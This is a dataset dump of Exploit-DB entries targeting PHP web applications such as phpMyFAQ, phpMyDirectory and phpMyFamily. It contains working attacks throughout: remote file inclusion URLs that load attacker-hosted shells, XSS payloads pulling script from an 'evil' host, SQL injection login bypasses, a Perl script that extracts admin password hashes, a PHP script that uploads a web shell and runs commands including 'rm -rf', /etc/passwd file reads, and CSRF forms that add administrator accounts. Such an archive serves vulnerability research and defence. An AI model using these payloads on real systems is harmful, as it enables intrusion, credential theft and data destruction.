deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2927
Description: PHPMyCMS 0.3 - 'basic.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-13
Author: v1per-haCker

Exploit:
#########################################################################################
###################################v1per-haCker##########################################
######################How I Can lives Without FooL Programmer!###########################
#########################################################################################
#=======================================================================================#
#___________________________________phpmycms (RFI)______________________________________#
#=======================================================================================#
# Information:-										#
#											#
# Scripts: phpmycms									#
# download : http://sourceforge.net/projects/phpmycms/					#
# Version : -										#
# Dork & vuln : download script and think :)						#
#											#
#=======================================================================================#
# Exploit :										#
#											#
#http://localhost/path/basic.inc.php?basepath_start=http://EvElCoDe.txt?		#
#											#
#=======================================================================================#
# Discoverd By : v1per-haCker								#
#											#
# Conatact : v1per-hacker[at]hotmail.com						#
#											#
# XP10_hackEr Team		>>	www.xp10.com					#
# SpeciaL PoweR SecuritY TeaM	>>	www.specialpower.org				#
#											#
# Greetz to :	| abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  | 		#
#		| ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |		#
#		| metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |		#
#		| MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  | 		#
#		|  MuhaciR  |Skrmhcr-GVinux | Jean | fucker_net | Sir-ToTTi |		#
#	    										#
# Thanks >>	/str0ke	& www.milw0rm.com & www.google.com				#
#=======================================================================================#
#########################################################################################
#################################L0ve is L1fe W0und3r####################################
#########################################################################################


# milw0rm.com [2006-12-13]
Exploit-DB #28862
Description: PHPMyConferences 8.0.2 - 'Init.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-25
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/20741/info

phpMyConference is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

phpMyConference 8.0.2 is vulnerable to this issue.

Update: Further analysis reveals that this is not actually a vulnerability, so this BID is being retired.

http://www.example.com/{path}/init.php?lvc_include_dir=SHELL
Exploit-DB #2535
Description: PHPMyConferences 8.0.2 - 'menu.inc.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: k1tk4t

Exploit:
#########################################################################
# phpMyConferences <= 8.0.2 Remote File Inclusion
# Download Source : http://sedre.loria.fr/phpMyConference/phpMyConferences_8.0.2.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org
########################################################################
file ;
 menus.inc.php
########################################################################
bugs ;
 include($lvc_include_dir.'/menus-'.$view.'.inc.php');
 include($lvc_include_dir.'/menus-others.inc.php');
########################################################################
exmple and methode exploit ;
 http://localhost/phpMyConferences_8.0.2/common/visiteurs/include/menus.inc.php?lvc_include_dir=http://shell/cmd.kid?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubi (all member solpotcrew community)
#asiahacker
person;
y3dips,lirva32,the_day,K-159(&all echo staff)
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-13]
Exploit-DB #27926
Description: PHPMyDesktop/Arcade 1.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-05-31
Author: darkgod

Exploit:
source: https://www.securityfocus.com/bid/18185/info

phpMyDesktop|arcade is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

An attacker may also be able to execute arbitrary code by way of uploaded images.

http://www.example.com/index.php?todo=showsubsite&subsite=[file]%00
Exploit-DB #4755
Description: PhpMyDesktop/Arcade 1.0 Final - 'phpdns_basedir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-18
Author: RoMaNcYxHaCkEr

Exploit:
# Name : PhpMyDesktop|arcade 1.0 Final (phpdns_basedir) Remote File Include
# Download From : http://mesh.dl.sourceforge.net/sourceforge/pmd-arcade/pmd_arcade_1_0_final.zip
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
# Google Dork : Powered by phpMyDesktop|arcade v1.0 (final)
============================================================================
# Vulne Code In File RR.php In Line 1 & 2 :
 
require_once("$phpdns_basedir/DNS/RR/A.php");
require_once("$phpdns_basedir/DNS/RR/AAAA.php");
# Exploit:
www.RxH.com/pmd_arcade_1_0_final/sources/libs/geoip/DNS/RR.php?phpdns_basedir=http://no-hack.fr/shells/c99.txt?

============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
H-T TeaM (no-hack.fr)
Str0ck
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT
Happy Aid All Muslims
Best Wishes

# milw0rm.com [2007-12-18]
Exploit-DB #25276
Description: PHPMyDirectory 10.1.3 - 'review.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-25
Author: mircia

Exploit:
source: https://www.securityfocus.com/bid/12900/info

phpMyDirectory is prone to a cross-site scripting vulnerability.

The problem presents itself when malicious HTML and script code is sent to the application through various parameters of the 'review.php' script.

This issue may allow for theft of cookie-based authentication credentials or other attacks.

phpMyDirectory 10.1.3-rel is reported vulnerable, however, it is possible that other versions are affected as well. 

http://www.example.com/review.php?id=1&cat=&subcat="><script src=http://evil/foo.js></script>
Exploit-DB #1808
Description: phpMyDirectory 10.4.4 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-19
Author: OLiBekaS

Exploit:
Title       : phpMyDirectory <= 10.4.4 Remote File Inclusion Vulnerability
-
URL         : http://www.phpmydirectory.com/
-
Dork        : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com"
-
Author      : OLiBekaS
-
contact     : olibekas[at]gmail.com
-
greetz      : Renzokuzen, Skulmatic, weleh, brokencode, bigmaster and all #papmahackerlink crew
-
Exploit     : http://[target]/[path]/cron.php?ROOT_PATH=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-05-19]
Exploit-DB #18338
Description: phpMyDirectory.com 1.3.3 - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-08
Author: Serseri

Exploit:
# Exploit Title: phpMyDirectory.com (v. 1.3.3) SQL Injection


# Google Dork: phpMyDirectory.com (v. 1.3.3)


# Location : Türkiye


# Date: 08/01/20112


# Version:   v. 1.3.3


# Author:    Serseri  | www.imhatimi.org |       Biri Bizimi  Çaðýrdý    J


# Software Link: http://www.phpmydirectory.com/


~~~~~~~~~~~~~~~~ Exploit ~~~~~~~~~~~~~~~~~~~~~~~~

# Http://[site.com]/path/page.php?id=[SQLi]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

-----------------------------------------------------------------
Www.Ýmhatimi.org    Serseri  Madwolf
Exploit-DB #892
Description: phpMyFamily 1.4.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2005-03-21
Author: kre0n

Exploit:
# Tested with version 1.2.5 /str0ke

Login as admin without pass:

Login: "' OR 'a'='a' AND admin='Y'/*" (without quotes)
Password: (empty)

# milw0rm.com [2005-03-21]
Exploit-DB #1208
Description: phpMyFamily 1.4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2005-03-27
Author: basher13

Exploit:
#!/usr/bin/perl -w
# phpMyFamily Exploit injection
# ==============================
$banner = "phpMyFamily Exploit injection \n\n==============================
\n\nINFGPG-Hacking&Security Research";
# 
# Greats: AresU (1st IndoSec Team),ADZ Security Team (has discovered bugs)
# Info: 98.to/infamous

use IO::Socket;
if ($#ARGV<0){
print "\n$banner";
print "\n\n Usage: perl phpMyFamily.pl [host] [path] \n\n";
exit;}

$gen="%20UNION%20SELECT%20NULL,password,NULL,username,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20family_users%20%20WH
ERE%20admin='Y'%20LIMIT%201,1"; # This selects first admin with login &
password hash :)

$serius="GET $ARGV[1]/$ARGV[2]/people.php?person=00002'$gen HTTP/1.0\r\n\r\n";
$muka=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$ARGV[0]",PeerPort=>"80")
or die "$ARGV[0]Connection Failed !!\n\n";

$muka -> autoflush(1);
print $muka "$serius";   
print "[*]Sending exploit DONE \n\n";            
sleep(7);
close($muka);

# milw0rm.com [2005-03-27]
Exploit-DB #27494
Description: phpMyFamily 1.4.1 - 'Track.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: matrix_killer

Exploit:
source: https://www.securityfocus.com/bid/17278/info

The 'phpmyfamily' application is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/track.php?person=00001&name=[code]&email=1&action=sub&submit=Wy%B6lij
Exploit-DB #52458
Description: phpMyFAQ  2.9.8 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: phpMyFAQ  2.9.8 Cross-Site Request Forgery (CSRF)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ
# Software Link: https://github.com/thorsten/phpMyFAQ
# Version: 2.9.8 
# Tested on: Ubuntu Windows
# CVE : CVE-2017-15735

PoC: 
While still logged in, open another browser window: 
<html>
   <body>
      <form action="http://phpmyfaq/admin/index.php?action=updateglossary" method="POST">
         <input type="hidden" name="id" value="1">
         <input type="hidden" name="item" value="Malicious Glossary Item">
         <input type="hidden" name="definition" value="This is a malicious definition.">
         <input type="submit" value="Submit request">
      </form>
      <script>
         document.forms[0].submit();
      </script>
   </body>
</html>

Some Details:
{
    "Protection Mechanisms Before Patch": "There was no CSRF token validation in place for the glossary modification actions (add, update, delete). The patch introduced CSRF token checks for both POST and GET requests to ensure that only authorized sessions could perform these actions.",
    "File Navigation Chain": "Public Access Entry URL -> phpmyfaq/admin/index.php -> glossary.main.php -> glossary.edit.php",
    "Execution Path Constraints": "The user must be authenticated with the necessary permissions ('editglossary') to reach and interact with the glossary functionality through the 'index.php' entry point. Without proper authentication, the server redirects to the login form.",
    "Request Parameters": "id, item, definition",
    "Request Method": "POST",
    "Request URL": "http://phpmyfaq/admin/index.php?action=updateglossary",
    "Final PoC": "```\n<html>\n   <body>\n      <form action=\"http://phpmyfaq/admin/index.php?action=updateglossary\" method=\"POST\">\n         <input type=\"hidden\" name=\"id\" value=\"1\">\n         <input type=\"hidden\" name=\"item\" value=\"Malicious Glossary Item\">\n         <input type=\"hidden\" name=\"definition\" value=\"This is a malicious definition.\">\n         <input type=\"submit\" value=\"Submit request\">\n      </form>\n      <script>document.forms[0].submit();</script>\n   </body>\n</html>\n```"
}




[Replace Your Domain Name]
Exploit-DB #52523
Description: phpMyFAQ  4.0.16 - Improper Authorization
Type: webapps
Platform: php
Date: 2026-04-29
Author: contact

Exploit:
# Exploit Title: phpMyFAQ <= 4.0.16 - Improper Authorization 
# Google Dork: N/A
# Date: 2026-01-23
# Exploit Author: GUIA BRAHIM FOUAD
# Vendor Homepage: https://www.phpmyfaq.de/
# Software Link: https://www.phpmyfaq.de/download/
# Version: <= 4.0.16 (REQUIRED)
# Tested on: Ubuntu 22.04, Apache 2.4.52, PHP 8.2.x, MariaDB 10.6.x
# CVE: CVE-2026-24421

## Summary
Authenticated non-admin users can call /api/setup/backup and trigger a configuration backup. The endpoint checks authentication but does not enforce authorization (missing configuration/admin permission check), and returns a link/path to the generated ZIP.

## Details
SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. This allows any logged-in user to create a sensitive backup and retrieve its path.

## PoC
Precondition: API enabled, any authenticated non-admin user.

1) Log in as a non-admin user:
curl -c /tmp/pmf_api_cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"username":"tester","password":"Test1234!"}' \
  http://192.168.40.16/phpmyfaq/api/v3.0/login

2) Trigger backup generation:
curl -i -b /tmp/pmf_api_cookies.txt \
  -X POST --data '4.0.16' \
  http://192.168.40.16/phpmyfaq/api/setup/backup

## Expected Result
The API responds successfully and includes a link/path to the generated ZIP backup even though the caller is not an admin / does not have configuration-edit permissions.

## Impact
Low-privileged users can generate sensitive backups. If the ZIP is web-accessible (server misconfiguration), this can lead to exposure of secrets/configuration and facilitate follow-on compromise.

## References
- GitHub Advisory: GHSA-wm8h-26fv-mg7g
Exploit-DB #26294
Description: PHPMyFAQ 1.5.1 - 'Password.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-23
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/14927/info

phpMyFAQ is affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input before using it in a SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

phpMyFAQ version 1.5.1 is reported prone to this vulnerability. 

switch to /admin directory, click on "forgotten password" feature
user: ' or isnull(1/0) /*
mail: [your_email]
Exploit-DB #26296
Description: PHPMyFAQ 1.5.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2005-08-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14929/info

PHPMyFAQ is prone to a local file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.

It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. 

http://www.example.com/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00
http://www.example.com/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname]
Exploit-DB #26297
Description: PHPMyFAQ 1.5.1 - Logs Unauthorized Access
Type: webapps
Platform: php
Date: 2005-08-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14930/info

PHPMyFAQ is prone to an unauthorized access vulnerability. A remote attacker can exploit this vulnerability to view the application log file.

This vulnerability could lead to the disclosure of various valid usernames, which could aid in brute force attacks; information obtained may aid an attacker in further attacks. 

The following proof of concept is available where [date] is the date of a log file entry:
http://www.example.com/phpmyfaq/data/tracking[date]
Exploit-DB #26295
Description: PHPMyFAQ 1.5.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14928/info

PHPMyFAQ is prone to multiple cross-site scripting vulnerabilities.

These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. Exploitation of these vulnerabilities may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script>
http://www.example.com/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script>
Exploit-DB #3393
Description: phpMyFAQ 1.6.7 - SQL Injection / Command Execution
Type: webapps
Platform: php
Date: 2007-03-01
Author: elgCrew

Exploit:
#!/usr/bin/php5-cgi -q
<?

/*
Sql injection / remote command execution exploit for phpmyfaq < 1.6.8

Bugtraq:
https://www.securityfocus.com/bid/21944

CVS:
http://thinkforge.org/plugins/scmcvs/cvsweb.php/phpmyfaq/admin/attachment.php.diff?r1=1.7.2.11.2.5;r2=1.7.2.11.2.6;cvsroot=phpmyfaq;f=h

./pmf.php http://xxxx.xxxx.edu/faq/ "<? system('id'); ?>" localhost:4001

elgCrew@safe-mail.net
*/

function do_upload($baseurl, $proxy, $cmd)
{

	$fp = fopen("kebab.php", "w");
	if(!$fp)
		die("Cannot open file for writing");

	$code = "Un1q" . $cmd . "<? system(\"rm -rf ../1337/\"); ?>";
	fwrite($fp, $code);
	fclose($fp);
	
	$sendvars["aktion"] = "save";
        $sendvars["uin"] = "-1' UNION SELECT char(0x61,0x64,0x6d,0x69,0x6e),char(0x61,0x61,0x27,0x20,0x4f,0x52,0x20,0x31,0x3d,0x31,0x20,0x2f,0x2a) /*";
        $sendvars["save"] = "TRUE";
        $sendvars["MAX_FILE_SIZE"] = "100000";
        $sendvars["id"] = "1337";
        $sendvars["userfile"] = '@kebab.php';
        $sendvars["filename"] = "kebab.php";

        $posturl = $baseurl . "/admin/attachment.php";
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $posturl);

        curl_setopt($ch, CURLOPT_PROXY, $proxy);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);

        curl_setopt($ch, CURLOPT_POSTFIELDS, $sendvars);
        echo "=> Uploading file.\n";
        $result = curl_exec($ch);
	curl_close($ch);
	@unlink("kebab.php");
	$get =  $baseurl . "/attachments/1337/kebab.php\n";

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $get);
	curl_setopt($ch, CURLOPT_PROXY, $proxy);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$result = curl_exec($ch);
	if(strstr($result, "Un1q"))
		echo substr($result, 4);
	else
		echo "Not vulnerable / error ?\n";
	curl_close($ch);


}

if($argc < 3)
{
	printf("Usage: %s http://test.com/phpmyfaq/ \"<? system('uname -a'); ?> \" [proxy]\n", $argv[0]);
	exit(0);
}
if($argc == 4)
	$proxy = $argv[3];
else
	$proxy = "";

do_upload($argv[1], $proxy, $argv[2]);

?>

# milw0rm.com [2007-03-01]
Exploit-DB #34785
Description: PHPMyFAQ 2.6.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-28
Author: Yam Mesicka

Exploit:
source: https://www.securityfocus.com/bid/43560/info

phpMyFAQ is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to phpMyFAQ 2.6.9 are vulnerable.

http://www.example.com/index.php/"><script>alert("XSS")</script>
Exploit-DB #39913
Description: phpMyFAQ 2.9.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-06-10
Author: Kacper Szurek

Exploit:
# Exploit Title: phpMyFAQ 2.9.0 Stored XSS
# Date: 09-06-2016
# Software Link: http://www.phpmyfaq.de/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality.

But this function doesn’t protect against XSS.

http://security.szurek.pl/phpmyfaq-290-stored-xss.html

2. Proof of Concept

By default every user can propose faq entries.

When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:

http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl

For exploitation use folowing url inside Link for this FAQ field:

http://example.com/"><script>alert("xss")</script>

3. Solution:
   
Update to version 2.9.1
Exploit-DB #52455
Description: phpMyFaq 2.9.8 - Cross Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: phpMyFaq 2.9.8 - Cross Site Request Forgery (CSRF)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ/
# Software Link: https://github.com/thorsten/phpMyFAQ/
# Version: 2.9.8
# Tested on: Windows 10
# CVE : CVE-2017-15808


PoC: 
<html>
  <body>
    <form action="http://phpmyfaq/admin/index.php" method="GET">
      <input type="hidden" name="action" value="ajax">
      <input type="hidden" name="ajax" value="config">
      <input type="hidden" name="ajaxaction" value="add_instance">
      <input type="hidden" name="url" value="malicious">
      <input type="hidden" name="instance" value="malicious_instance">
      <input type="hidden" name="comment" value="CSRF Test">
      <input type="hidden" name="email" value="attacker@example.com">
      <input type="hidden" name="admin" value="attacker">
      <input type="hidden" name="password" value="password123">
      <input type="submit" value="Submit request">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Steps to Reproduce:
1. Save the following code as poc.html.
2. Log in phpmyfaq, and open the file in the same browser.
3. The outcome will occur.